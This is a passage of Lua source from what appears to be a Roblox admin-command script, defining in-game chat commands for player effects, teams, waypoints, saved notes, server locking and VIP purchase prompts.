7601 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7602 local Players = STRING:Scan(Arguments[1], Speaker)
7603 for _,Player in pairs(Players) do
7604 if Player.Character and Player.Character:FindFirstChild("Torso") then
7605 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7606 if Get:IsA("Sparkles") then
7607 Get:Destroy()
7608 end
7609 end
7610 end
7611 end
7612 end};
7613
7614 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7615 local Players = STRING:Scan(Arguments[1], Speaker)
7616 for _,Player in pairs(Players) do
7617 if Player.Character and Player.Character:FindFirstChild("Torso") then
7618 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7619 if Get:IsA("Fire") then
7620 Get:Destroy()
7621 end
7622 end
7623 end
7624 end
7625 end};
7626
7627 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7628 local Players = STRING:Scan(Arguments[1], Speaker)
7629 for _,Player in pairs(Players) do
7630 if Player.Character and Player.Character:FindFirstChild("Torso") then
7631 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7632 if Get:IsA("Smoke") then
7633 Get:Destroy()
7634 end
7635 end
7636 end
7637 end
7638 end};
7639
7640 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7641 local Players = STRING:Scan(Arguments[1], Speaker)
7642 for _,Player in pairs(Players) do
7643 if Player.Character and Player.Character:FindFirstChild("Torso") then
7644 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7645 local Boom = Instance.new("Explosion", Workspace)
7646 Boom.Position = Player.Character.Torso.Position
7647 end
7648 end
7649 end};
7650
7651 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7652 local Players = STRING:Scan(Arguments[1], Speaker)
7653 for _,Player in pairs(Players) do
7654 if Player.Character and Player.Character:FindFirstChild("Torso") then
7655 coroutine.wrap(function() for i = 1,50 do
7656 local Boom = Instance.new("Explosion", Workspace)
7657 Boom.Position = Player.Character.Torso.Position
7658 wait()
7659 end end)()
7660 coroutine.wrap(function() for i = 1,5 do
7661 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7662 end end)()
7663 end
7664 end
7665 end};
7666
7667 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7668 local Players = STRING:Scan(Arguments[1], Speaker)
7669 for _,Player in pairs(Players) do
7670 if Player.Character and Player.Character:FindFirstChild("Torso") then
7671 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7672 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7673 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7674 end
7675 end
7676 end};
7677
7678 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7679 local Players = STRING:Scan(Arguments[1], Speaker)
7680 for _,Player in pairs(Players) do
7681 if Player.Character and Player.Character:FindFirstChild("Torso") then
7682 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7683 end
7684 end
7685 end};
7686
7687 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7688 local Players = STRING:Scan(Arguments[1], Speaker)
7689 for _,Player in pairs(Players) do
7690 if Player.Character then
7691 Player.Character.Parent = Server.Lighting
7692 end
7693 end
7694 end};
7695
7696 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7697 local Players = STRING:Scan(Arguments[1], Speaker)
7698 for _,Player in pairs(Players) do
7699 if Player.Character then
7700 Player.Character.Parent = Server.Workspace
7701 Player.Character:MakeJoints()
7702 end
7703 end
7704 end};
7705
7706 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7707 local Players = STRING:Scan(Arguments[1], Speaker)
7708 for _,Player in pairs(Players) do
7709 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7710 Player.Character.Humanoid.PlatformStand = true
7711 end
7712 end
7713 end};
7714
7715 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7716 local Players = STRING:Scan(Arguments[1], Speaker)
7717 for _,Player in pairs(Players) do
7718 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7719 Player.Character.Humanoid.PlatformStand = false
7720 end
7721 end
7722 end};
7723
7724 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7725 local Players = STRING:Scan(Arguments[1], Speaker)
7726 for _,Player in pairs(Players) do
7727 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7728 Player.Character.Humanoid.Jump = true
7729 end
7730 end
7731 end};
7732
7733 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7734 local Players = STRING:Scan(Arguments[1], Speaker)
7735 for _,Player in pairs(Players) do
7736 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7737 Player.Character.Humanoid.Sit = true
7738 end
7739 end
7740 end};
7741
7742 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7743 local Players = STRING:Scan(Arguments[1], Speaker)
7744 for _,Player in pairs(Players) do
7745 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7746 Player.Character.Humanoid.Sit = false
7747 end
7748 end
7749 end};
7750
7751 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7752 local Players = STRING:Scan(Arguments[1], Speaker)
7753 for _,Player in pairs(Players) do
7754 if Player.Character and Player.Character:FindFirstChild("Torso") then
7755 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7756 end
7757 end
7758 end};
7759
7760 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7761 local Players = STRING:Scan(Arguments[1], Speaker)
7762 for _,Player in pairs(Players) do
7763 if Player.Character and Player.Character:FindFirstChild("Torso") then
7764 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7765 end
7766 end
7767 end};
7768
7769 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7770 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7771 end};
7772
7773 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7774 local Color = "Blue"
7775 local String = Arguments[2]
7776 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7777 if #ChatSplit >= 2 then
7778 if string.lower(ChatSplit[1]) == "green" then
7779 Color = "Green"
7780 String = ChatSplit[2]
7781 elseif string.lower(ChatSplit[1]) == "red" then
7782 Color = "Red"
7783 String = ChatSplit[2]
7784 end
7785 end
7786 local Players = STRING:Scan(Arguments[1], Speaker)
7787 for _,Player in pairs(Players) do
7788 if Player.Character and Player.Character:FindFirstChild("Head") then
7789 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7790 end
7791 end
7792 end};
7793
7794 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7795 local Players = STRING:Scan(Arguments[1], Speaker)
7796 for _,Player in pairs(Players) do
7797 if Player.Character then
7798 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7799 end
7800 end
7801 end};
7802
7803 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7804 local Players = STRING:Scan(Arguments[1], Speaker)
7805 local ID = nil
7806 if tonumber(Arguments[2]) ~= nil then
7807 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7808 else
7809 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7810 for _,Face in pairs(FaceTable) do
7811 if string.lower(Arguments[2]) == string.lower(Face) then
7812 ID = FaceID
7813 break
7814 end
7815 end
7816 end
7817 end
7818 if ID then
7819 for _,Player in pairs(Players) do
7820 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7821 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7822 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7823 end
7824 end
7825 end
7826 end};
7827
7828 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7829 local Players = STRING:Scan(Arguments[1], Speaker)
7830 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7831 for _,Player in pairs(Players) do
7832 if Player.Character and Player.Character:FindFirstChild("Head") then
7833 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7834 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7835 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7836 end
7837 end
7838 end};
7839
7840 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7841 local Players = STRING:Scan(Arguments[1], Speaker)
7842 for _,Player in pairs(Players) do
7843 if Player.Character and Player.Character:FindFirstChild("Head") then
7844 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7845 end
7846 end
7847 end};
7848
7849 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7850 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7851 end, Http = true};
7852
7853 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7854 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7855 end, Http = true};
7856
7857 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7858 local Players = STRING:Scan(Arguments[1], Speaker)
7859 for _,Player in pairs(Players) do
7860 local ExistingData = Player:LoadInstance("Data")
7861 if ExistingData == nil then
7862 ExistingData = Instance.new("Configuration")
7863 end
7864 ExistingData.Name = "Player Data"
7865 local Key = Instance.new("Configuration", ExistingData)
7866 Key.Name = Arguments[2]
7867 Player:SaveInstance("Data", ExistingData)
7868 end
7869 end};
7870
7871 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7872 local Players = STRING:Scan(Arguments[1], Speaker)
7873 local Data = Arguments[2]
7874 for _,Player in pairs(Players) do
7875 local ExistingData = Player:LoadInstance("Data")
7876 if ExistingData ~= nil then
7877 if string.lower(Data) == "all" then
7878 ExistingData:ClearAllChildren()
7879 else
7880 for _,DataObj in pairs(ExistingData:GetChildren()) do
7881 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7882 DataObj:Destroy()
7883 end
7884 end
7885 end
7886 end
7887 Player:SaveInstance("Data", ExistingData)
7888 end
7889 end};
7890
7891 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7892 local Players = STRING:Scan(Arguments[1], Speaker)
7893 local DataSet = {}
7894 for _,Player in pairs(Players) do
7895 local ExistingData = Player:LoadInstance("Data")
7896 if ExistingData ~= nil then
7897 if #ExistingData:GetChildren() ~= 0 then
7898 for _,Data in pairs(ExistingData:GetChildren()) do
7899 table.insert(DataSet, Player.Name..": "..Data.Name)
7900 end
7901 else
7902 table.insert(DataSet, "Data does not exist for "..Player.Name)
7903 end
7904 else
7905 table.insert(DataSet, "Data does not exist for "..Player.Name)
7906 end
7907 end
7908 GUI:ListGui(Speaker, "Notes", DataSet)
7909 end};
7910
7911 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7912 local Players = STRING:Scan(Arguments[1], Speaker)
7913 for _,Player in pairs(Players) do
7914 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7915 Player.Character.Humanoid.WalkSpeed = 16
7916 end
7917 end
7918 end};
7919
7920 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7921 local Players = STRING:Scan(Arguments[1], Speaker)
7922 for _,Player in pairs(Players) do
7923 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7924 Player.Character.Humanoid.WalkSpeed = -16
7925 end
7926 end
7927 end};
7928
7929 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7930 local TeamColor = BrickColor.random()
7931 local TeamName = Arguments[1]
7932 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7933 if #TeamNameSplit >= 2 then
7934 local Color = TeamNameSplit[1]
7935 local NewTeamName = TeamNameSplit[2]
7936 if Color == "Medium stone grey" then
7937 TeamColor = BrickColor.new(Color)
7938 TeamName = NewTeamName
7939 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7940 TeamColor = BrickColor.new(Color)
7941 TeamName = NewTeamName
7942 elseif Colors[string.upper(Color)] then
7943 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7944 TeamName = NewTeamName
7945 end
7946 end
7947
7948 local NewTeam = Instance.new("Team", Server.Teams)
7949 NewTeam.TeamColor = TeamColor
7950 NewTeam.Name = TeamName
7951 end};
7952
7953 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7954 local Players = STRING:Scan(Arguments[1], Speaker)
7955 for _,Player in pairs(Players) do
7956 Player.Neutral = true
7957 end
7958 end};
7959
7960 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7961 local Players = STRING:Scan(Arguments[1], Speaker)
7962 if string.lower(Arguments[2]) == "none" then
7963 for _,Player in pairs(Players) do
7964 Player.Neutral = true
7965 end
7966 else
7967 for _,Obj in pairs(Server.Teams:GetChildren()) do
7968 if Obj:IsA("Team") then
7969 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7970 for _,Player in pairs(Players) do
7971 Player.Neutral = false
7972 Player.TeamColor = Obj.TeamColor
7973 end
7974 end
7975 end
7976 end
7977 end
7978 end};
7979
7980 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7981 for _,Obj in pairs(Server.Teams:GetChildren()) do
7982 if Obj:IsA("Team") then
7983 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7984 for _,Player in pairs(Server.Players:GetPlayers()) do
7985 if Player.TeamColor == Obj.TeamColor then
7986 Player.Neutral = true
7987 end
7988 end
7989 Obj:Destroy()
7990 end
7991 end
7992 end
7993 end};
7994
7995 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7996 for _,Player in pairs(Server.Players:GetPlayers()) do
7997 Player.Neutral = true
7998 end
7999 for _,Obj in pairs(Server.Teams:GetChildren()) do
8000 if Obj:IsA("Team") then
8001 Obj:Destroy()
8002 end
8003 end
8004 end};
8005
8006 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8007 for _,Player in pairs(Server.Players:GetPlayers()) do
8008 GUI:Countdown(Player, Arguments[1])
8009 end
8010 end};
8011
8012 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8013 local Players = STRING:Scan(Arguments[1], Speaker)
8014 for _,Player in pairs(Players) do
8015 if Player:FindFirstChild("Backpack") then
8016 CORE:ExecuteResource("ShowAd", Player.Backpack)
8017 end
8018 end
8019 end};
8020
8021 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8022 local Players = STRING:Scan(Arguments[1], Speaker)
8023 for _,Player in pairs(Players) do
8024 if Player.Character then
8025 for PosName,WP in pairs(Waypoints) do
8026 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8027 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8028 break
8029 end
8030 end
8031 end
8032 end
8033 end};
8034
8035 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8036 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8037 end};
8038
8039 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8040 local Num = 0
8041 for PosName,WP in pairs(Waypoints) do
8042 Num = Num + 1
8043 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8044 Waypoints[PosName] = nil
8045 end
8046 end
8047 end};
8048
8049 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8050 local WaypointHolder,WaypointRaw = {},{}
8051 for Name, WP in pairs(Waypoints) do
8052 local View = Name..": "..tostring(WP)
8053 table.insert(WaypointHolder, View)
8054 WaypointRaw[View] = WP
8055 end
8056 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8057 Clicked.Event:connect(function(Text)
8058 local Waypoint = WaypointRaw[Text]
8059 if Waypoint then
8060 if Speaker.Character then
8061 Speaker.Character:MoveTo(Waypoint)
8062 end
8063 end
8064 end)
8065 end};
8066
8067 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8068 local Players = STRING:Scan(Arguments[1], Speaker)
8069 local List = {}
8070 for _,Player in pairs(Players) do
8071 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8072 end
8073 GUI:ListGui(Speaker, "Listed Players", List)
8074 end};
8075
8076 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8077 if tonumber(Arguments[1]) then
8078 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8079 else
8080 local Players = STRING:Scan(Arguments[1], Speaker)
8081 for _,Player in pairs(Players) do
8082 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8083 end
8084 end
8085 end};
8086
8087 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8088 local Players = STRING:Scan(Arguments[1], Speaker)
8089 local Friends,OneFriend = {}, false
8090 for _,Player in pairs(Players) do
8091 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8092 --[[if Player:IsBestFriendsWith(User.UserId) then
8093 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8094 OneFriend = true
8095 ]]
8096 if Player:IsFriendsWith(User.UserId) then
8097 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8098 OneFriend = true
8099 end
8100 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8101 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8102 end
8103 end end
8104 end
8105 GUI:ListGui(Speaker, "Friend List", Friends)
8106 end};
8107
8108 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8109 Settings.ServerLocked = true
8110 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8111 end};
8112
8113 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8114 Settings.ServerLocked = false
8115 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8116 end};
8117
8118 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8119 local OldAge = Settings.MinimumAge
8120 local Age = tostring(Arguments[1])
8121 if Age then
8122 Settings.MinimumAge = Age
8123 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8124 end
8125 end};
8126
8127 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8128 if Settings.VIPAdminID <= 1 then
8129 MARKET:PromptPurchase(Speaker, VIPAdminID)
8130 else
8131 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8132 end
8133 end};
8134
8135 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8136 if Settings.VIPMemberID <= 1 then
8137 MARKET:PromptPurchase(Speaker, VIPMemberID)
8138 else
8139 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8140 end
8141 end};
8142
8143 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8144 if tonumber(Arguments[2]) then
8145 local Players = STRING:Scan(Arguments[1], Speaker)
8146 local Size = tonumber(Arguments[2])+25
8147 for _,Player in pairs(Players) do
8148 if Player.Character then
8149 if Player.Character:FindFirstChild("Head") then
8150 if Player.Character.Head:FindFirstChild("Mesh") then
8151 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8152 end
8153 end
8154 end
8155 end
8156 end
8157 end};
8158
8159 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8160 local Players = STRING:Scan(Arguments[1], Speaker)
8161 for _,Player in pairs(Players) do
8162 if Player.Character and Player.Character:FindFirstChild("Torso") then
8163 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8164 Player.Character.Parent = nil
8165 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8166 end
8167 end
8168 end};
8169
8170 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8171 GUI:SettingsGui(Speaker)
8172 end};
8173
8174 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8175 if tonumber(Arguments[2]) then
8176 local Players = STRING:Scan(Arguments[1], Speaker)
8177 local List = {}
8178 for _,Player in pairs(Players) do
8179 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8180 table.insert(List, Player.Name)
8181 end
8182 end
8183 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8184 end
8185 end};
8186
8187 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8188 local Players = STRING:Scan(Arguments[1], Speaker)
8189 for _,Player in pairs(Players) do
8190 if Player.Character and Player.Character:FindFirstChild("Head") then
8191 local Char = Player.Character
8192 Char:BreakJoints()
8193 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8194 Obj.Anchored = true
8195 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8196 local Decal = Instance.new("Decal", Obj)
8197 Decal.Texture = "rbxassetid://178913323"
8198 Decal.Face = Face
8199 end
8200 end)
8201 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8202 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8203 Sound1:Play() Sound2:Play()
8204 coroutine.wrap(function()
8205 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8206 repeat wait()
8207 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8208 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8209 Obj.Transparency = math.random(0,30)/100
8210 Obj.Reflectance = math.random(0,50)/100
8211 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8212 end)
8213 until Char ~= Player.Character or Char.Parent == nil
8214 end)()
8215 end
8216 end
8217 end, Hidden = true};
8218
8219 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8220 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8221 end, Http = true};
8222
8223 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8224 local Players = STRING:Scan(Arguments[1], Speaker)
8225 for _,Player in pairs(Players) do
8226 if Player.Character then
8227 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8228 Obj.Material = "Neon"
8229 end)
8230 end
8231 end
8232 end};
8233
8234 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8235 local Players = STRING:Scan(Arguments[1], Speaker)
8236 for _,Player in pairs(Players) do
8237 if Player.Character then
8238 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8239 Obj.Material = "Plastic"
8240 end)
8241 end
8242 end
8243 end};
8244
8245 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8246 local Players = STRING:Scan(Arguments[1], Speaker)
8247 for _,Player in pairs(Players) do
8248 if Player.Character then
8249 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8250 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8251 end)
8252 end
8253 end
8254 end, Hidden = true};
8255
8256 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8257 local Players = STRING:Scan(Arguments[1], Speaker)
8258 for _,Player in pairs(Players) do
8259 if Player.Character and Player.Character:FindFirstChild("Torso") then
8260 local Pos = Player.Character.Torso.Position
8261 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8262 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8263 if Answer == "Ok" then
8264 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8265 end
8266 end
8267 end
8268 end};
8269
